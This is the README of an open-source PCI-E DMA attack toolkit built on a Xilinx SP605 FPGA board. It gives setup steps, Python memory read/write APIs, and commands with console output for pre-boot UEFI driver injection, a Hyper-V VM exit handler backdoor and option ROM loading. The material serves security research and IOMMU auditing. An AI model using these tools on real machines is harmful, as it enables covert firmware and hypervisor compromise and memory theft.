PCI Express DIY hacking toolkit

What

This repository contains a set of tools and proof of concepts related to PCI-E bus and DMA attacks. It includes HDL design which implements software controllable PCI-E gen 1.1 endpoint device for Xilinx SP605 Evaluation Kit with Spartan-6 FPGA. In comparison with popular USB3380EVB this design allows to operate with raw Transaction Level Packets (TLP) of PCI-E bus and perform full 64-bit memory read/write operations. To demonstrate applied use cases of the design, there's a tool for pre-boot DMA attacks on UEFI based machines which allows executing arbitrary UEFI DXE drivers during platform init. Another example shows how to use pre-boot DMA attacks to inject Hyper-V VM exit handler backdoor into the virtualization-based security enabled Windows 10 Enterprise running on UEFI Secure Boot enabled platform. Provided Hyper-V backdoor PoC might be useful for reverse engineering and exploit development purposes, it provides an interface for inspecting of hypervisor state (VMCS, physical/virtual memory, registers, etc.) from guest partition and perform the guest to host VM escape attacks.

Hyper-V backdoor part of this project has many other features and deployment options than described in this document, you can use it separately from DMA attack tools even without any special hardware: check its documentation

Contents

• s6_pcie_microblaze.xise − Xilinx ISE project file.

• microblaze/pcores/axis_pcie_v1_00_a − Custom peripheral module which allows connecting PCI Express integrated endpoint block of Spartan-6 FPGA as raw TLP stream to MicroBlaze soft processor core.

• sdk/srec_bootloader_0 − Simple bootloader for MicroBlaze soft processor, it using SREC image format and onboard linear flash memory of SP605 to load and store main MicroBlaze program.

• sdk/main_0 − Main program for MicroBlaze soft processor, it forwards raw TLP packets of PCI-E bus into the TCP connection using onboard Ethernet port of SP605 and lwIP network stack.

• python/pcie_lib.py − Python library that talks over the network to main MicroBlaze program running on SP605 board.

• python/pcie_mem.py − Command line program that dumps host RAM into the screen or output file by sending MRd TLPs.

• python/pcie_mem_scan.py − Command line program that scans target host for physical memory ranges accessible over PCI-E bus, it's useful for a security audit of IOMMU enabled platforms (examples: 1, 2, 3, 4).

• python/uefi_backdoor_simple.py − Command line program for pre-boot DMA attack which injects dummy UEFI driver into the target.

• python/uefi_backdoor_hv.py − Command line program for pre-boot DMA attack which injects Hyper-V VM exit handler backdoor into the target.

• python/payloads/DmaBackdoorSimple − Dummy UEFI DXE driver.

• python/payloads/DmaBackdoorHv − UEFI DXE driver which implements Hyper-V backdoor and backdoor client.

SP605 board configuration

Xilinx UG526 document also known as SP605 Hardware User Guide is your best friend if you want to know more details about usage and configuration of this nice board.

1. To load bitstream from onboard SPI flash chip you need to configure SP605 by turning SW1 switches into the 1-ON, 2-OFF position.

2. Now you have to write FPGA bitstream into the SPI flash. Use s6_pcie_microblaze.mcs file if you want to do it over JTAG with the help of Xilinx iMPACT utility (see this tutorial), or s6_pcie_microblaze.bin if you're going to use external SPI programmer connected to J17 header of SP605 (which is the most faster and convenient way).

In case of flashrom compatible external SPI programmer you can use flash_to_spi.py program as a flashrom wrapper:

$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.  

3. Bitstream which was written into the SPI flash in previous step includes a bootloader for MicroBlaze core (see bootloader.c for more details). This bootloader allows to configure board options and write main program into the linear flash.

To boot MicroBlaze into the update mode you have to disconnect SPI programmer and power up the board holding SW4 pushbutton switch, release SW4 when DS6 LED indicating active update mode turns on.

4. To write the main program (see main.c for more details) into the linear flash connect your computer to UART bridge USB port of SP605 and run bootloader_ctl.py program with --flash option:

$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100

...

Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE

5. To configure board network settings run bootloader_ctl.py program with --config option:

$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...

 Address: 192.168.2.247
 Netmask: 255.255.255.0
 Gateway: 192.168.2.1
    Port: 28472

Erasing flash...
Writing 0x12 bytes at 0x00000000
[+] DONE

6. Now you can exit from the update mode and boot main MicroBlaze program from linear flash:

$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...

SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472

Main program prints it's error messages into the onboard UART, you can use --console option of bootloader_ctl.py to monitor those messages in real time.

7. Connect SP605 to the PCI-E slot of the target computer and turn the computer on. When PCI-E link was sucessfully established SP605 will fire DS3 and DS4 LEDs.

8. Run lspci command on target computer to ensure that it is seeing your board as PCI-E device:

# lspci | grep Xilinx
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

JTAG related notes: SP605 has onboard USB to JTAG interface compatible with iMPACT and others Xilinx tools. However, it's not very good so if you're planning to use onboard JTAG to program SPI flash like it was described in Xilinx tutorial you have to do the following things:

• Remove any hardware connected to the FMC slot of SP605 while working with JTAG.

• In Xilinx iMPACT settings configure JTAG interface to use 750 KHz speed (on more higher speed it works unstable).

Xilinx SP605 board is also can be connected to the Thunderbolt 2/3 external port of the target computer using Thunderbolt to PCI-E expansion chassis. Please note, that SP605 is relatively large board so it might not fit into some of the chassis. For example, I'm using HighPoint RocketStor 6361A Thunderbolt 2 enclosure which works fine with my MacBook Pro:

Software configuration

Python tools to interact with the board and tiny implementation of PCI-E link layer are located in python folder. Because main MicroBlaze program uses TCP to transfer TLP packets no any drivers or 3rd party dependencies needed, you can use provided Python code on any operating system.

To set up target board IP address and port edit PCIE_TO_TCP_ADDR variable in python/pcie_lib_config.py file.

Examples

Information about PCI-E device implemented by provided FPGA bitstream (just like it seeing by target computer):

$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
    Subsystem: Xilinx Corporation Default PCIe endpoint ID
    Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
    Interrupt: pin A routed to IRQ 11
    Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
    Capabilities: [40] Power Management version 3
        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
    Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
        Address: 0000000000000000  Data: 0000
    Capabilities: [58] Express (v1) Endpoint, MSI 00
        DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
            RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
            MaxPayload 128 bytes, MaxReadReq 512 bytes
        DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
        LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
            ClockPM- Surprise- LLActRep- BwNot-
        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
    Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35

Example of PCI-E device as it shown in Apple macOS hardware information when connected to the Thunderbolt 2 port of MacBook Pro:

On attacker side you can use pcie_cfg.py program to view configuration space registers of PCI-E device:

$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0

           VENDOR_ID = 0x10ee
           DEVICE_ID = 0x1337
             COMMAND = 0x0
              STATUS = 0x10
            REVISION = 0x0
          CLASS_PROG = 0x0
        CLASS_DEVICE = 0x200
     CACHE_LINE_SIZE = 0x10
       LATENCY_TIMER = 0x0
         HEADER_TYPE = 0x0
                BIST = 0x0
      BASE_ADDRESS_0 = 0x90500000
      BASE_ADDRESS_1 = 0x0
      BASE_ADDRESS_2 = 0x0
      BASE_ADDRESS_3 = 0x0
      BASE_ADDRESS_4 = 0x0
      BASE_ADDRESS_5 = 0x0
         CARDBUS_CIS = 0x0
 SUBSYSTEM_VENDOR_ID = 0x10ee
        SUBSYSTEM_ID = 0x7
         ROM_ADDRESS = 0x0
      INTERRUPT_LINE = 0xff
       INTERRUPT_PIN = 0x1
             MIN_GNT = 0x0
             MAX_LAT = 0x0

$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0

0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000

      ...

Dumping 0x80 bytes of target computer physical memory at zero address:

$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
        tag = 0x00, bytes = 0x84, addr = 0x00000000

        0x20000021 0x010000ff 0x00000000 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD
        tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

        0x4a000020 0x00000084 0x01000000
        0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 
        0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 
        0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 
        0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 
        0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 
        0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 
        0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 
        0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0

TLP RX: size = 0x04, source = 00:00.0, type = CplD
        tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

        0x4a000001 0x00000004 0x01000000
        0xf3ee00f0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................
00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0..
00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................
00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S...
00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y...
00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9...............
00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S...
00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

Saving physical memory into the file:

./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin

Provided Python software uses some environment variables to override values of certain options:

• DEBUG_TLP − If set to 1 print TX and RX TLP packets dump into the standard output.

• TARGET_ADDR − <address>:<port> string to override IP address of the board specified in python/pcie_lib_config.py file.

Using Python API

Python library pcie_lib.py provides low level API to send and receive PCE-E TLP requests, abstractions for different TLP types and high level physical memory access API.

The following program demonstrates how to work with raw TLPs using pcie_lib:

from pcie_lib import *

#
# Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py
# file or TARGET_ADDR environment variable
#
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

# get bus:device.function address of our PCI-E endpoint
bus_id = dev.get_bus_id()

#
# MRd TLP request which reads 1 dword of memory at address 0x1000
#
tlp_tx = [ 0x20000001,                   # TLP type and data size
           0x000000ff | (bus_id << 16),  # requester ID
           0x00000000,                   # high dword of physical memory address
           0x00001000 ]                  # low dword of physical memory address
         
# send TLP
dev.write(tlp_tx)

# receive root complex reply
tlp_rx = dev.read(raw = True)

# prints 4a000001 00000004 01000000 00000000
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

# check for CplD TLP format and type
assert (tlp_rx[0] >> 24) & 0xff == 0x4a

# print readed dword
print('%.8x' % tlp_rx[3])

dev.close()

Working with TLPs using more convenient high level abstractions:

# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)

# send TLP
dev.write(tlp_tx)

# receive root complex reply
tlp_rx = dev.read()

# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)

# print readed dword
print('%.8x' % tlp_rx.data[0])

Accessing physical memory:

# write bytes to memory
dev.mem_write(0x1000, '\xAA' * 0x10)

# write single qword/dword/word/byte to memory
dev.mem_write_8(0x1000, 0)
dev.mem_write_4(0x1000, 0)
dev.mem_write_2(0x1000, 0)
dev.mem_write_1(0x1000, 0)

# read bytes from memory
print(repr(dev.mem_read(0x1000, 0x10)))

# read single qword/dword/word/byte from memory
print('%.16x' % dev.mem_read_8(0x1000))
print('%.8x' % dev.mem_read_4(0x1000))
print('%.4x' % dev.mem_read_2(0x1000))
print('%.2x' % dev.mem_read_1(0x1000))

Practical DMA attacks

Python program uefi_backdoor_simple.py injects dummy UEFI DXE driver located in payloads/DmaBackdoorSimple into the target using preboot DMA attack. It's usage:

1. Boot the MicroBlaze and connect SP605 to PCI-E port of target computer and Ethernet network.

2. Run the following command:

$ ./uefi_backdoor_simple.py --payload payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi

3. Power on the target computer, in case of successful attack in couple of seconds you will see debug messages screen of injected UEFI driver.

Example of debug messages on attack target screen:

Example of uefi_backdoor_simple.py console output:

[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE

Python program uefi_backdoor_hv.py injects Hyper-V VM exit handler backdoor located in UEFI driver payloads/DmaBackdoorHv. Usage:

./uefi_backdoor_hv.py --payload payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with -d option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded

    Hyper-V image base: 0xfffff8072d690000
           Image entry: 0xfffff8072d901360
       VM exit handler: 0xfffff8072d8add90

[+] DONE

To get more information about Hyper-V backdoor usage check its README file.

Option ROM attacks

Provided bitstream can emulate PCI-E option ROM stored in onboard linear flash memory of SP605. Although modern platforms mitigates option ROM attacks, this feature still could be useful for security audit or prototyping purposes.

You can manage option ROM images using pcie_rom_ctl.py Python program. Erasing option ROM contents:

$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done

Loading provided UEFI option ROM example into the board:

$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done

Also, there's an option to log option ROM memory access into the debug UART of SP605, to enable or disable it use --log-on and --log-off parameters of ./pcie_rom_ctl.py program.

Troubleshooting

PCI Express is very complicated high speed bus so there's a lot of things that can go wrong. If DMA attack is not working on your setup you might check the following things to determine the exact problem:

• DS3 LED is on when physical PCI-E link is up and DS4 is on when root complex had assigned bus:device.function address to our PCI-E endpoint. If DS3 is off it likely means physical connectivity issue − check your risers, cables, etc. If DS3 is on but DS4 is off it means that you had to reboot your attack target or force PCI-E devices rescan on it's side.

• DS5 LED is on during PCI-E bus reset, when it always on it means physical connectivity issue.

• If root complex sends Cpl TLP instead of CplD TLP in reply to memory read request it means that memory access was rejected because of invalid address or IOMMU enforced access cheks. Also typical x86 machine might not reply at all on memory read requests to some certain physical address space regions.

• If software receiving inconsistent or invalid TLPs from root complex in reply to memory read requests you might try to set a smaller value of MEM_RD_TLP_LEN constant in pcie_lib.py to split reply data into more smaller chunks. Also it's useful to run the program with DEBUG_TLP=1 environment variable and check raw TX/RX TLP dump.

Building project from the source code

1. Install Xilinx ISE 13.4 which comes with your SP605 board and open s6_pcie_microblaze.xise project file.

2. Regenerate s6_pcie_v2_4 and fifo_generator_v8_4 cores which presents in project hierarchy.

3. Click on microblaze_i instance in project hierarchy and run "Export Hardware Design to SDK With Bitstream".

4. When build will be completed ISE opens Xilinx Software Development Kit IDE, use sdk folder as it's workspace.

5. Create new standalone board support package in your Xilinx SDK project tree, choose lwIP and xilflash libraries in BSP configuration.

6. Import sdk/srec_bootloader_0 and sdk/main_0 projects into the project tree and run the build.

7. Run make bitstream && make srec from Xilinx ISE command prompt to generate needed output files.

TODO

• Release DMA to System Management Mode exploit when Intel will fix appropriate vulnerability.

Developed by

Dmytro Oleksiuk (aka Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex